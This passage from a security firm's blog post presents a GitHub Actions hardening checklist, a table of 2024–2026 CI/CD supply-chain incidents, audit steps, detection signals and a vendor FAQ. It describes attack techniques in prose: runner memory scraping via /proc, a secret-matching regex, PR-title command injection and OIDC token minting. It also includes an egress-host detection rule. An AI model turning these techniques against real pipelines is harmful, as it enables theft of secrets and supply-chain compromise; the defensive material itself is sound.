  • Require linear history: yes (or require merge commits, but not both)

  • Allow force pushes: no

  • Allow deletions: no

  • Lock branch: no (only for read-only release branches)

The signed-commits requirement closes a real attack class: an attacker who compromised a contributor's laptop can push code, but cannot push code signed with the contributor's GPG or SSH signing key. The signing requirement gives provenance to every commit on main.

Control 25: Disable "Actions can approve pull requests" + enable Dependabot version and security updates

Attack it prevents: Auto-merge bypass via workflow-minted approval + slow patch cadence.

Two settings, one control number because both live under Settings → Actions → General → Workflow permissions:

  • Disable "Allow GitHub Actions to create and approve pull requests." This stops a compromised workflow from minting an approval on its own PR and merging without human review. Default in 2026 is disabled; verify.

  • Enable Dependabot version updates + security updates. Dependabot opens PRs that bump pinned dependencies (including SHA-pinned third-party actions) when a new version ships. Security updates open PRs against known-vulnerable dependencies. Combined with Control 1 (SHA pinning), Dependabot keeps the SHA refreshed without the security team manually walking every workflow.

Dependabot only alerts on semver-pinned dependencies by default; SHA-pinned dependencies need the enable-beta-ecosystems: true flag in dependabot.yml to receive pin-update PRs.

Chart Ghactions Mitigation Impact

Figure 3: The 25 controls plotted against the attack class they prevent and the implementation difficulty band. The highest-impact one-sprint controls are SHA pinning, OIDC, top-level read-only permissions, Harden-Runner, and CODEOWNERS on workflows.

Verified GitHub Actions and CI/CD CVEs and incidents, December 2024 to August 2026

Every entry in this table is verifiable at NVD, the GitHub Security Advisory database, CISA's KEV catalog, or the vendor's own post-mortem. Five entries carry a CVE or GHSA identifier. The rest are public security advisories without an assigned CVE because they affected ecosystem-level npm or PyPI publishing, or repository write access, rather than a single library.

Date

Identifier

Component

Class

Summary

Dec 4-7, 2024

Ultralytics PyPI

ultralytics PyPI package (v8.3.41 to v8.3.46)

Script injection + cache poisoning

Attacker openimbot opened fork PR with malicious branch name; GitHub Actions interpolated branch into run:; runner downloaded file.sh. PyPI shipped XMRig cryptominer in v8.3.41 (12-hour window), v8.3.42, v8.3.45, v8.3.46.

Mar 14-15, 2025

CVE-2025-30066 (GHSA-mrrh-fwg8-r2c3)

tj-actions/changed-files (v1 through v45.0.7)

Action source compromise + secrets exfiltration

Compromised PAT on @tj-actions-bot retroactively repointed every tag to malicious commit 0e58ed8. Payload dumped Runner.Worker process memory via /proc/[pid]/mem, extracted secrets, base64-encoded twice into logs. Over 23,000 repositories affected. CVSS 8.6. CISA KEV. Patched in v46.0.1.

Mar 11, 2025

CVE-2025-30154 (GHSA-qmg3-hpqr-gqvc)

reviewdog/action-setup@v1 and 5 downstream reviewdog actions

Action source compromise

Compromise window 18:42 to 20:31 UTC on March 11; malicious payload base64-encoded into install.sh. Compromised before tj-actions; tj-actions/eslint-changed-files used reviewdog/action-setup transitively, likely the pivot point. CVSS 8.6. Patched same day.

May 14, 2024

CVE-2024-32002 (GHSA-8h77-4q3w-gfgv)

Git (before 2.45.1)

RCE via submodule symlink

Cloning a malicious repository with submodules wrote files into .git/ and executed hooks. Affects actions/checkout and any clone-and-build GitHub Actions workflow until Git is patched. CVSS 9.0.

Aug 26, 2025

Nx s1ngularity GHSA-cxm3-wv7p-598c

nx and several Nx plugins on npm

Script injection via pull_request_target

PR-title command injection plus pull_request_target permissions allowed attacker to mint Nx npm publish token in a 4-hour window. Leaked 2,349 distinct secrets across 190+ orgs, 3,000+ repositories. Malicious post-install payload exfiltrated to attacker-named s1ngularity-repository per victim org.

Sep 14-15, 2025

Shai-Hulud npm worm (CISA alert AA25-266A)

500+ npm packages

Self-replicating supply-chain worm

First publicly documented self-replicating npm worm. Uses TruffleHog to scan victim env for npm tokens, GitHub PATs, cloud keys; auto-publishes malicious versions of every package the victim's tokens can write to. Registers victim hosts as rogue GitHub Actions self-hosted runners named "SHA1HULUD". CISA published alert Sep 23, 2025.

Nov 24, 2025

Shai-Hulud 2.0

796 unique npm packages

Self-replicating worm + AI-tool reconnaissance

Second wave of Shai-Hulud. Expanded backdoor and remote-access capability. Used compromised GitHub auth tokens to register self-hosted Actions runners on victim hosts.

May 11, 2026

CVE-2026-45321

42 @tanstack npm packages (84 malicious versions)

pull_request_target + Actions cache poisoning + OIDC token theft

Attacker chained a pull_request_target misconfiguration, GitHub Actions cache poisoning and OIDC token extraction to publish under the project's own trusted-publisher binding, so the malicious versions carried valid provenance. CVSS 9.6 CRITICAL. CISA KEV, remediation due June 10, 2026. Credentials from this compromise were reused a week later to publish a malicious Nx Console 18.95.0 (CVE-2026-48027, CVSS 9.8) on May 19, 2026, live 18 minutes on Visual Studio Marketplace and 36 minutes on Open VSX.

May 18, 2026

Megalodon campaign

5,561 public GitHub repositories

Direct poisoned pipeline execution (d-PPE)

5,718 malicious commits pushed into 5,561 repositories in a six-hour window by accounts impersonating CI automation. Injected workflow files named SysDiag and Optimize-Build exfiltrated CI secrets, AWS and GCP credentials, SSH keys, Kubernetes configs, Vault tokens and Actions OIDC tokens to a hardcoded C2. No fork and no pull request were needed: the operator had stolen write access and pushed straight to default branches that did not require review. Covered by a CISA advisory on May 28, 2026.

Jul 14, 2026

AsyncAPI compromise

@asyncapi/specs, generator, generator-components, generator-helpers

Script injection via pull_request_target

A fork pull request against a workflow using pull_request_target ran in the base repository's security context and exposed the asyncapi-bot personal access token. The attacker pushed to auto-publish branches and shipped five malicious package versions inside roughly 90 minutes, again with legitimate OIDC trusted-publishing provenance attestations.

Aug 4, 2026

ChainDrop ("Shai-Hulud: Here We Go Again")

keyv, cacheable, flat-cache, file-entry-cache, cache-manager family

Self-replicating worm + runner memory scrape + OIDC theft

Takeover of the keyv and cacheable maintainer's GitHub account seeded a mini Shai-Hulud variant that reached at least 444 packages across 1,381 versions with more than 2 billion monthly installs. On a GitHub Actions runner the payload reads runner process memory directly to dump the whole secret store, then reads ACTIONS_ID_TOKEN_REQUEST_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL to mint OIDC tokens against workflows configured as npm trusted publishers. Microsoft observed theft of npm, GitHub, AWS, Kubernetes and HashiCorp Vault credentials, workflow secrets, SSH keys, shell histories and GitHub CLI tokens, exfiltrated to npm-cache[.]com.

Chart Ghactions Named Cves

Figure 4: The December 2024 to November 2025 wave, seven verified GitHub Actions and CI/CD supply-chain incidents on a single twelve-month timeline. The 2026 incidents in the table above extend the same four attack classes. Color groups: red = action-source compromise; orange = script injection through workflow triggers; teal = self-replicating worm; navy = clone-time RCE. Sources: nvd.nist.gov, github.com/advisories, cisa.gov.

GitHub Actions supply-chain attacks in 2026: the state of play in August

The 2026 wave moved the attack one layer down. Where the 2025 incidents compromised the action a workflow calls, the 2026 incidents compromised the npm dependency a workflow installs and the publishing identity a workflow holds. Four events define the year through August: TanStack in May, the Megalodon workflow-injection campaign in May, AsyncAPI in July, and the keyv package family in August.

On May 11, 2026 an attacker chained a pull_request_target misconfiguration, GitHub Actions cache poisoning and OIDC token extraction to publish 84 malicious versions across 42 @tanstack npm packages, signed with valid provenance under the project's own trusted-publisher binding (CVE-2026-45321, CVSS 9.6, CISA KEV). Credentials taken in that compromise were reused on May 19 to publish a malicious Nx Console 18.95.0 (CVE-2026-48027, CVSS 9.8), live 18 minutes on the Visual Studio Marketplace and 36 minutes on Open VSX. Separately, on May 18, the Megalodon campaign pushed 5,718 malicious commits into 5,561 repositories in a six-hour window, injecting workflow files named SysDiag and Optimize-Build that exfiltrated CI secrets, cloud credentials, SSH keys and Actions OIDC tokens to a hardcoded C2. Megalodon needed no fork and no pull request: the operator held stolen write access and pushed straight to default branches that did not require review. CISA covered both in a combined advisory on May 28, 2026. Stingrai's breakdown of the TanStack and Nx Console compromises walks the full chain step by step.

On July 14, 2026 the same pattern hit AsyncAPI. A fork pull request against a workflow using pull_request_target ran in the base repository's security context, exposed the asyncapi-bot personal access token, and let the attacker push to auto-publish branches. Five malicious versions of @asyncapi/specs, @asyncapi/generator, @asyncapi/generator-components and @asyncapi/generator-helpers shipped inside roughly 90 minutes, once more carrying legitimate OIDC provenance attestations, per Microsoft Threat Intelligence.

The August 4, 2026 takeover of the keyv and cacheable maintainer account is the one that matters most for runner hardening. The worm, tracked by Microsoft as ChainDrop and by the community as "Shai-Hulud: Here We Go Again", reached at least 444 packages across 1,381 versions with more than 2 billion monthly installs. On a GitHub Actions runner its payload reads the runner process memory directly to dump the whole secret store, then reads ACTIONS_ID_TOKEN_REQUEST_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL to mint OIDC tokens against workflows configured as npm trusted publishers. Microsoft observed npm, GitHub, AWS, Kubernetes and HashiCorp Vault credentials, workflow secrets, SSH keys, shell histories and GitHub CLI tokens leaving for npm-cache[.]com. The memory-read technique is the one tj-actions used in March 2025. What changed is the delivery vehicle: a transitive npm dependency instead of a marketplace action.

Two consequences for this checklist. First, OIDC remains the right control and Control 13 stands, but a trusted-publisher binding is only as strong as the runner it executes on, because any code with execution inside the job can request the token the job is entitled to. Egress control and install-script suppression are what stop that code from running at all. Second, action-source pinning does not cover the package tree. Pin actions by SHA, and pin or cool-down npm dependencies separately.

GitHub shipped platform defaults against exactly these paths through the first half of 2026, documented in its July 28, 2026 supply-chain update: actions/checkout now blocks untrusted fork code by default on risky triggers, workflow execution policies let an org restrict who can trigger workflows and which trigger types are allowed, untrusted workflows get a read-only cache, npm v12 disables install scripts by default and blocks git and remote-URL dependencies, high-impact npm accounts drop into a 72-hour read-only mode after an email change or a 2FA recovery, npm staged publishing adds a second 2FA approval before a version goes live, and Dependabot version updates now sit behind a three-day cooldown. Several of these are opt-in, and the opt-in is the work.

None of this changes the shape of the defender's job. The 25 controls below still apply, and the application that ships out of those workflows still needs a test of its own: web application penetration testing services covers the app-layer scope. Stingrai tests the pipeline side as a one-time CI/CD assessment or as a continuous PTaaS engagement, depending on how often your build chain changes.

How to test your GitHub Actions setup

A defensible internal audit follows a repeatable sequence. The OWASP CI/CD Top 10 provides the threat-class baseline; NIST SP 800-204D ("Strategies for Securing CI/CD Pipelines") provides the control-mapping baseline; the OpenSSF Scorecard checks provide the automation hook.

  1. Inventory. List every workflow in the org. gh api graphql can pull repository.defaultBranchRef.target.history(path: ".github/workflows") across all repos; the github-actions-supply-chain-audit examples cover the queries.

  2. Pinning audit. Grep every uses: reference. Tags and branches are violations; SHAs are passes. Run pin-github-action in dry-run mode against every workflow.

  3. Permissions audit. Grep for workflows missing a top-level permissions: block. Default to read-only is the target. The Scorecard Token-Permissions check automates this.

  4. Trigger audit. Grep for pull_request_target and workflow_run in public-repo workflows. Each occurrence requires explicit justification and a sandboxing review.

  5. Untrusted-input audit. Grep run: blocks for ${{ github.event.*.title }}, ${{ github.event.*.body }}, ${{ github.head_ref }}, and ${{ github.event.inputs.* }} directly interpolated. Replace with the env-binding pattern in Control 9.

  6. Secrets audit. Walk Settings → Secrets and variables → Actions for every repo. For each secret, document the owning workflow, last-used timestamp, and rotation cadence. Migrate any cloud-provider long-lived credential to OIDC.

  7. Runner audit. List every self-hosted runner under Settings → Actions → Runners at the org level. For each, confirm it is private-repo only, ephemeral (JIT), and on a documented egress allowlist.

  8. Branch protection audit. Verify branch protection on main for every repo: signed commits, required reviews, CODEOWNERS for .github/workflows/, status checks required.

  9. Scorecard + Harden-Runner audit. Confirm both are enabled on every workflow. Review Harden-Runner audit logs for unexpected egress over the last 30 days.

  10. Tabletop. Pick one of the named incidents (tj-actions, Nx s1ngularity, Shai-Hulud) and walk the controls that would have blocked it in your environment. Record the gaps and add them to the implementation roadmap.

Detection signals: what to monitor in 2026

Five high-signal detection sources cover the GitHub Actions threat surface:

  • GitHub audit logs. Stream the org audit log to your SIEM. Watch for org.update_actions_secret, repo.add_self_hosted_runner, protected_branch.dismiss_stale_reviews, and git.clone events from unexpected actors. The Shai-Hulud worm registered self-hosted runners named "SHA1HULUD"; an audit-log alert on repo.add_self_hosted_runner outside business hours would have triggered.

  • Harden-Runner egress logs. Stream Harden-Runner's audit output to your SIEM. Any new egress destination is a high-confidence anomaly. The tj-actions detection lived here.

  • GitHub Security Advisory feed. Subscribe to the GHSA feed for the actions and packages you depend on. Filter by security advisories of ecosystem actions. Add a paging alert for any CRITICAL severity advisory against a SHA you currently pin.

  • CISA Known Exploited Vulnerabilities Catalog. Subscribe to the KEV feed. CISA added CVE-2025-30066 to KEV in March 2025; KEV-listed CVEs are FCEB-mandated for federal remediation but are a useful private-sector priority signal too.

  • Dependabot alerts. Treat any Dependabot alert against a GitHub Action as a P1. The alert tells you the action's name and the version range affected; combined with a quick gh search code across your repos, you can locate every consumer in minutes.

Beyond the signals, two behavioral anomalies are worth a dedicated rule:

  • Workflow YAML modifications outside business hours by a non-platform contributor. Combine with CODEOWNERS to make this almost impossible accidentally; combine with the GitHub audit log to alert when it happens anyway.

  • First-time egress from a runner. Harden-Runner's allowlist plus a SIEM rule that fires on any new destination, especially gist.githubusercontent.com, raw.githubusercontent.com, paste*, or IP-literal HTTPS.

Implementation roadmap: this sprint, this quarter, this year

A 25-control list is hard to land in one push. The Stingrai roadmap clusters the controls by impact-to-effort ratio so a security team can land the most critical 12 in the first two sprints, then expand.

Chart Ghactions Implementation Roadmap

Figure 5: A three-band roadmap that fits in two sprints, then one quarter, then the rest of the year. The high-impact one-sprint band is anchored on the controls that would have blocked tj-actions, reviewdog, Ultralytics, Nx s1ngularity, and Shai-Hulud.

This sprint (Controls 1, 7, 8, 9, 11, 13, 14, 19, 21, 23, 24, 25)

The 12 controls that block every named incident in this post. None require new vendor procurement; all are GitHub-native or one open-source action away.

  1. Pin every third-party action to a commit SHA.

  2. Add top-level permissions: contents: read to every workflow.

  3. Remove pull_request_target from every public-repo workflow (or accept the trust-boundary review).

  4. Refactor every run: block that uses ${{ github.event.* }} to use an env: binding.

  5. Audit actions/checkout ref usage on pull_request_target workflows.

  6. Migrate at least one cloud-provider deployment to OIDC.

  7. Move production deploy credentials into a GitHub Environment with required reviewers.

  8. Disable self-hosted runners on every public repo.

  9. Install Harden-Runner on every workflow (audit mode).

  10. Add .github/workflows/ to CODEOWNERS.

  11. Enable signed commits + required reviews + Code-Owners review on main.

  12. Disable "Actions can approve PRs" + enable Dependabot version and security updates.

This quarter (Controls 2, 3, 4, 5, 15, 16, 17, 18, 20)

The next 9 controls land in the following 8 to 10 weeks. These tighten the perimeter and reduce drift.

  1. Allowlist GitHub Marketplace actions at the org level.

  2. Enable OpenSSF Scorecard on every repo.

  3. Adopt the third-party action vetting checklist.

  4. Prefer first-party actions for high-risk steps.

  5. Refactor every ${{ secrets.* }} reference into env:.

  6. Enable secret scanning + push protection org-wide.

  7. Add add-mask:: for every derived secret.

  8. Run a quarterly secret audit and rotation cycle.

  9. Migrate self-hosted runners to JIT (where self-hosted is still needed).

This year (Controls 6, 10, 12, 22)

The final 4 controls require either a vendor decision (sigstore tooling), a workflow refactor (artifact-extraction hygiene), or a cultural rollout. Land them within the calendar year.

  1. Adopt sigstore signature verification for artifacts in workflows.

  2. Audit $GITHUB_ENV and $GITHUB_PATH writes; gate behind allowlists.

  3. Refactor artifact uploads to use scoped paths, not the whole workspace.

  4. Promote Harden-Runner from audit to block mode with a curated allowlist.

What this means for security buyers and CISOs

Three practical implications for any team running GitHub Actions in production.

  1. GitHub Actions security is a continuous-validation problem, not an annual audit. The named CVEs in 2024 and 2025 (Ultralytics, tj-actions, reviewdog, Nx s1ngularity, Shai-Hulud) all had public exposure windows measured in hours to days. A team that ran an annual CI/CD audit in February 2025 would have been exposed to every March 2025 incident. Stingrai's PTaaS engagement folds GitHub Actions controls into a continuous-validation cadence, with quarterly retest of the controls and a Slack alert if a previously-passing check regresses. The same 25 controls also scope cleanly into a one-time annual CI/CD pentest when that is the model your budget cycle runs on.

  2. The supply-chain attack surface is wider than your package.json. Sonatype's 2026 report counts more than 1.233 million cumulative malicious packages across the major registries. Every GitHub Actions workflow that runs npm install pulls thousands of transitive dependencies into a privileged runner. The defender's job is to compress the time-to-detect, not to enumerate every package. Stingrai's supply chain attack statistics post tracks the named-incident timeline and breaks down the major-incident ratios across npm, PyPI, Maven Central, and GitHub Actions.

  3. Compliance posture and CI/CD hardening overlap. SOC 2 CC7.1 (change management), ISO 27001 A.8.25 (secure development life cycle), PCI DSS 4.0 6.4.2 (CI/CD), NIST SSDF PW.4 (verify third-party software), and NIS2 Article 21 (supply-chain risk management) all require controls that map cleanly to the 25 in this post. Stingrai's pentest output (reports, retests, executive summaries) supports the underlying compliance evidence for SOC 2, ISO 27001, PCI DSS 4.0, NIST SSDF, and NIS2 audits. Stingrai's vulnerability statistics 2026 and compromised credential statistics 2026 posts collect the macro-data that makes the case to executive sponsors.

GitHub Actions is now the dominant CI/CD platform. The protocol's design choices that make it powerful (pull-based execution, marketplace actions, default-permissive triggers in some contexts) are exactly what make it a supply-chain attack surface. The 25 controls in this checklist are not exotic. They are layered, free, GitHub-native or one open-source action away, and anchored on incidents that already happened in 2024 and 2025. The defender's task is laborious in execution and simple in shape: pin everything, scope everything, audit everything, and ship the controls before the next March 2025 hits.

Frequently Asked Questions

What is the most important GitHub Actions security control in 2026?

Pin every third-party action to a full commit SHA, not a tag. The tj-actions/changed-files compromise (CVE-2025-30066) in March 2025 showed how a single PAT compromise on the upstream action repo can repoint every tag (v1 through v45.0.7) to a malicious commit in a 24-hour window. SHA pins are immutable; tag pins are not. Combine SHA pinning with Dependabot version updates so the SHA stays current as upstream releases ship. Tools like pin-github-action, renovate-bot, and Dependabot keep these pins automated.

Has there been a GitHub Actions supply chain attack in 2026?

Yes, four major ones through August 2026. On May 11 the TanStack compromise (CVE-2026-45321, CVSS 9.6) chained a pull_request_target misconfiguration, GitHub Actions cache poisoning and OIDC token extraction to publish 84 malicious versions across 42 @tanstack npm packages with valid provenance, and the stolen credentials were reused on May 19 to ship a malicious Nx Console 18.95.0 (CVE-2026-48027). On May 18 the Megalodon campaign pushed 5,718 malicious commits into 5,561 repositories in six hours, injecting workflows that exfiltrated CI secrets and OIDC tokens. On July 14 a pull_request_target flaw in an AsyncAPI workflow exposed a bot personal access token and shipped five malicious @asyncapi package versions in about 90 minutes. On August 4 the keyv and cacheable maintainer account was taken over to spread the ChainDrop worm to at least 444 packages across 1,381 versions; on a runner it reads process memory to dump the secret store and steals ACTIONS_ID_TOKEN_REQUEST_TOKEN to mint npm OIDC publishing tokens. CISA issued a combined advisory on May 28, 2026 covering the Nx Console and repository-injection compromises.

What was the tj-actions/changed-files compromise?

CVE-2025-30066, GHSA-mrrh-fwg8-r2c3, CVSS 8.6 (HIGH), CISA Known Exploited Vulnerabilities. On March 14 to 15, 2025, an attacker with a compromised personal access token on the @tj-actions-bot account repointed every version tag of the tj-actions/changed-files GitHub Action from v1 through v45.0.7 to a single malicious commit (0e58ed8). The payload downloaded a Python memory-dumping script from gist.githubusercontent.com, walked the GitHub Actions Runner.Worker process memory via /proc/[pid]/maps and /proc/[pid]/mem, extracted CI/CD secrets matching the pattern "[^"]+":{"value":"[^"]*","isSecret":true}, base64-encoded the extracted secrets twice, and printed them to workflow logs. More than 23,000 repositories were affected. StepSecurity's Harden-Runner detected the anomalous egress in real time on March 14, 2025 around 5:00 PM UTC, which is how the broader security community had a name for the incident inside hours. Patched in v46.0.1. The same threat actor likely also compromised reviewdog/action-setup CVE-2025-30154 upstream.

What is the Shai-Hulud npm worm?

The Shai-Hulud worm is the first publicly documented self-replicating npm worm, first identified on September 14 to 15, 2025 and the subject of a CISA alert on September 23, 2025. The worm is delivered as an infected npm package's post-install hook. Once executed, it uses TruffleHog to scan the victim's filesystem and environment for high-entropy secrets (npm tokens, GitHub PATs, cloud-provider API keys, SSH keys, crypto-wallet data). With those tokens, it automatically publishes malicious versions of every package the victim has write access to, spreading the worm across the npm ecosystem. It also registers victim hosts as rogue GitHub Actions self-hosted runners named "SHA1HULUD" and creates public exfiltration repositories on victim GitHub accounts. The first wave affected 500+ packages. By November 24, 2025 a second wave (Shai-Hulud 2.0) had backdoored 796 unique npm packages and expanded the payload's reach to remote-access capability.

What is the Nx s1ngularity attack?

The Nx s1ngularity attack of August 26, 2025 exploited an unsanitized pull-request title plus a pull_request_target trigger in the Nx repo to mint the Nx npm publishing token. The attacker submitted a fork PR with command-injection metacharacters in the PR title; the upstream workflow interpolated the title directly into a run: step; the runner executed the attacker's code with the upstream's privileged token. In a 4-hour window the attacker published malicious versions of the nx package and several Nx plugins to npm. The malicious post-install payload harvested developer secrets and exfiltrated them to a public repository named s1ngularity-repository in each victim's own GitHub account. Per Hacker News reporting, 2,349 distinct secrets leaked across 190+ organizations and 3,000+ repositories. Controls 8 (no pull_request_target in public repos) and 9 (env-binding for untrusted input) would have blocked the attack.

Should we use self-hosted GitHub Actions runners?

GitHub's official guidance is explicit: "Self-hosted runners should almost never be used for public repositories." A fork-PR contributor can submit code that compromises a persistent self-hosted runner, and a compromised runner gives the attacker access to every later job's secrets and GITHUB_TOKEN. If your team must run self-hosted (for special hardware, regulated environments, or internal-network access), restrict self-hosted runners to private repos only, use just-in-time (ephemeral) runners that auto-destroy after one job, and install Harden-Runner for egress audit. Use GitHub-hosted runners for any repo that accepts external pull requests.

How does OIDC for GitHub Actions work?

GitHub OIDC lets a workflow request a short-lived JSON Web Token signed by GitHub's OIDC provider, present that token to a cloud provider (AWS, Azure, GCP, HashiCorp Vault), and receive a short-lived cloud access token in return, without storing any long-lived cloud credential as a GitHub secret. The workflow declares permissions: id-token: write to be allowed to mint the JWT. The cloud provider's trust policy validates claims in the JWT, including the GitHub org, repo, branch, and environment the workflow runs from. A trust policy can pin the sub claim to repo:stingrai/api:environment:production:ref:refs/heads/main, so only production deploys from main can mint a production token. A compromised PR build cannot mint production credentials because the sub claim does not match. OIDC is the recommended replacement for AWS_ACCESS_KEY_ID-style long-lived secrets, Azure service-principal client secrets, and GCP service-account JSON keys.

What does pull_request_target do, and why is it dangerous?

pull_request_target is a GitHub Actions trigger that runs a workflow in the upstream repo's context (with upstream secrets and write-scope GITHUB_TOKEN), but is fired by a pull request from a fork. It exists for legitimate reasons (writing comments back to PRs, running CI on fork contributions with upstream credentials), but the trust boundary it crosses is exactly what makes it a supply-chain attack surface. The fork author controls the PR title, body, branch name, and committed code. Any workflow that interpolates github.event.pull_request.title, github.head_ref, or the PR's body into a run: block, or that checks out github.event.pull_request.head.sha and then runs npm install, lets the fork attacker execute arbitrary code with upstream privileges. The Ultralytics PyPI and Nx s1ngularity incidents both exploited this pattern. The safest answer is to not use pull_request_target in public repos.

What is StepSecurity Harden-Runner?

StepSecurity Harden-Runner is an open-source GitHub Action that turns the runner into an audited sandbox. It monitors outbound network connections (with destination domain and process name), file writes to persistent paths, and tamper attempts on the runner binary itself. In audit mode it logs all activity; in block mode it enforces an egress allowlist and blocks any unexpected connection. The action detected the tj-actions/changed-files compromise in real time on March 14, 2025 by flagging the anomalous egress to gist.githubusercontent.com. Stingrai recommends installing Harden-Runner on every workflow in audit mode in week 1, then upgrading to block mode with a curated allowlist by week 3.

How do we audit a GitHub org for supply-chain risk?

A defensible internal audit follows ten steps: (1) inventory every workflow across every repo via the GitHub GraphQL API; (2) pinning audit (grep every uses: for tag pins); (3) permissions audit (grep workflows missing top-level permissions:); (4) trigger audit (find pull_request_target and workflow_run in public repos); (5) untrusted-input audit (grep run: for direct ${{ github.event.*.title }} etc.); (6) secrets audit (walk every Settings -> Secrets and variables -> Actions per repo); (7) runner audit (list every self-hosted runner); (8) branch protection audit (signed commits + required reviews + CODEOWNERS on .github/workflows/); (9) Scorecard + Harden-Runner audit; (10) tabletop a named incident (tj-actions, Nx s1ngularity, Shai-Hulud) against your environment. Stingrai's PTaaS and web application penetration testing services map each step to evidence and produce a remediation roadmap.

Who is responsible for GitHub Actions security: platform engineering, security, or DevSecOps?

All three, with platform engineering owning the implementation and security owning the controls catalog. The pattern that works in practice: security owns the catalog (this 25-control list, or a tailored version), platform engineering owns the org-level GitHub settings (allowlist, default permissions, branch-protection templates) and the shared workflow library, and individual repo owners own the per-repo compliance with the catalog. CODEOWNERS on .github/workflows/ is the governance lever: platform and security review every workflow change. For organizations without a platform team, a security engineer plus an executive-sponsored backlog can land the top-12 controls in two sprints; the rest of the catalog follows in the quarter.

References

The full reference list for this checklist, in publication order:

Stingrai is a Toronto-headquartered offensive-security firm founded in 2021 (with a London, UK office). Stingrai Inc is a CREST-accredited Penetration Testing service provider (firm-level accreditation, separate from individual CREST CRT certifications held by team members). The team has 18 published CVEs (Ivan Spiridonov 10, Moaaz Taha 5, Victor Villar 3), 5.0/5.0 across 19 Clutch reviews, and team certifications spanning OSCE3, OSCP, OSWE, OSED, OSEP, CREST CRT, CISSP, CRTO, GCPN, CRTE, and eWPTX. Snipe is Stingrai's web-app-focused AI pentest agent, trained on more than 6,000 HackerOne disclosures; it performs both black-box dynamic testing and white-box code review, generates AutoFix pull requests, and runs as a PR-gating check that blocks vulnerable code from being merged. Our engagements support SOC 2, ISO 27001, HIPAA, PCI DSS 4.0, NIST SP 800-53/171, DORA, and NIS2 compliance evidence, and we present research at DEFCON and BSIDES. To validate the controls above, as a one-time engagement or as a continuous program, our PTaaS engagement runs Snipe and senior pentesters together across the whole engagement, with our testers directing Snipe and extending the attack paths it opens, on a single scoped test or a quarterly retest cadence. Package scope and current pricing sit on our pricing page.

36 views

1

X

Related reading

Supabase: Powerful, but One Misconfiguration Away From Disaster
Network SecurityWeb App Security

Supabase: Powerful, but One Misconfiguration Away From Disaster

The Supabase anon key is safe to expose only with Row Level Security enabled. See what service_role bypasses and the 2026 publishable key deadline.

11 min read

Penetration Testing for Startups (2026): When, What, and How Much
AdvisoriesWeb App Security

Penetration Testing for Startups (2026): When, What, and How Much

When a startup needs its first penetration test, what to scope first, one-time versus continuous, and what it costs at seed and Series A in 2026.

19 min read

The Dark Side of Next.js Server Actions: How Hidden Actions Can Bypass Your Access Controls
Web App Security

The Dark Side of Next.js Server Actions: How Hidden Actions Can Bypass Your Access Controls

Learn how hidden Next.js Server Actions and the next-action header can lead to access control bypasses and how to secure your backend functions effectively.

10 min read

Contents

X